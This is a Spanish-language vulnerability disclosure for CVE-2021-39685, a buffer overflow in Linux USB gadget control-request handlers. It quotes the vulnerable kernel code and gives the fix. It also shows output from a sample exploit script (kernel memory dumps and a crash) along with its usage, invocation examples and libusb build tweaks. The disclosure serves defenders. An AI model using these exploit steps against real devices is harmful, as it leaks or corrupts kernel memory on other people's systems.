
Descripción de CVE-2021-39685 y exploit de muestra para la vulnerabilidad de desbordamiento de Linux USB Gadget
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
Un atacante puede acceder a la memoria del kernel omitiendo los límites válidos del búfer al explotar la implementación de los manejadores de solicitudes de control en los siguientes gadgets usb: rndis, hid, uac1, uac1_legacy y uac2. El procesamiento de solicitudes maliciosas de transferencia de control con un wLength inesperadamente grande no garantiza que este valor no exceda el tamaño del búfer. Debido a esto, uno es capaz de leer y/o escribir (dependiendo del caso particular) hasta 65k de memoria del kernel.
Algunas rutas de ejecución de los manejadores de transferencia de control usb de gadgets como rndis, hid, uac1, uac1_legacy y uac2 no incluyen un manejo adecuado de la longitud de la solicitud (wLength). Este valor debería limitarse al tamaño del búfer para prevenir vulnerabilidades de desbordamiento de búfer en la fase de transferencia de datos.
El búfer utilizado por el endpoint 0 se asigna en composite.c con un tamaño de USB_COMP_EP0_BUFSIZ (4096) bytes, por lo que establecer wLength a un valor mayor que USB_COMP_EP0_BUFSIZ resultará en un desbordamiento de búfer.
Por ejemplo, en el caso de f_uac1.c, la ejecución de la función f_audio_setup permite realizar tanto lecturas como escrituras más allá de los límites del búfer. Ni f_audio_setup ni ninguna de las funciones llamadas (audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in) limitan el valor de retorno para que sea menor que el tamaño del búfer. En consecuencia, la fase de transferencia de datos usa req->length = value = ctrl->wLength, que está controlado por el atacante. Esto permite leer o escribir hasta 65k bytes de memoria del kernel dependiendo de la dirección de la transferencia de control.
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
La ejecución del exploit de lectura de muestra permite volcar hasta 65k de memoria.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
Por otro lado, la ejecución del exploit de sobrescritura permite escribir datos arbitrarios más allá de los límites esperados del búfer.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
Del mismo modo, en el caso del gadget rndis, la función rndis_setup puede explotarse para escribir más allá de los límites del búfer utilizando una solicitud de transferencia de control con dirección de salida, tipo clase, interfaz destinataria y bRequest establecido en USB_CDC_SEND_ENCAPSULATED_COMMAND.
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
Rutas de ejecución vulnerables:
Los dispositivos que implementan clases de gadget usb afectadas (rndis, hid, uac1, uac1_legacy, uac2) pueden verse afectados por vulnerabilidades de desbordamiento de búfer que resultan en divulgación de información, denegación de servicio o ejecución de código arbitrario en el contexto del kernel.
Limitar el tamaño de la fase de transferencia a min(len, buffer_size) en los manejadores de solicitudes de control afectados para asegurar que no ocurra un desbordamiento de búfer.
Emitir solicitudes de transferencia de control con wLength mayor que los 4096 bytes estándar requiere que el host use una compilación personalizada de libusb con MAX_CTRL_BUFFER_LENGTH aumentado a 0xffff. Este valor se puede modificar en libusb/os/linux_usbfs.h antes de la compilación.
El script gadget.py requiere pyusb. Puedes instalar este paquete mediante pip como se muestra a continuación.
python3 -m pip install pyusb
Se puede acceder a la ayuda con los parámetros -h o --help.
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
Ejemplos de invocación:
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
Por favor, actualiza tu kernel a la última versión estable.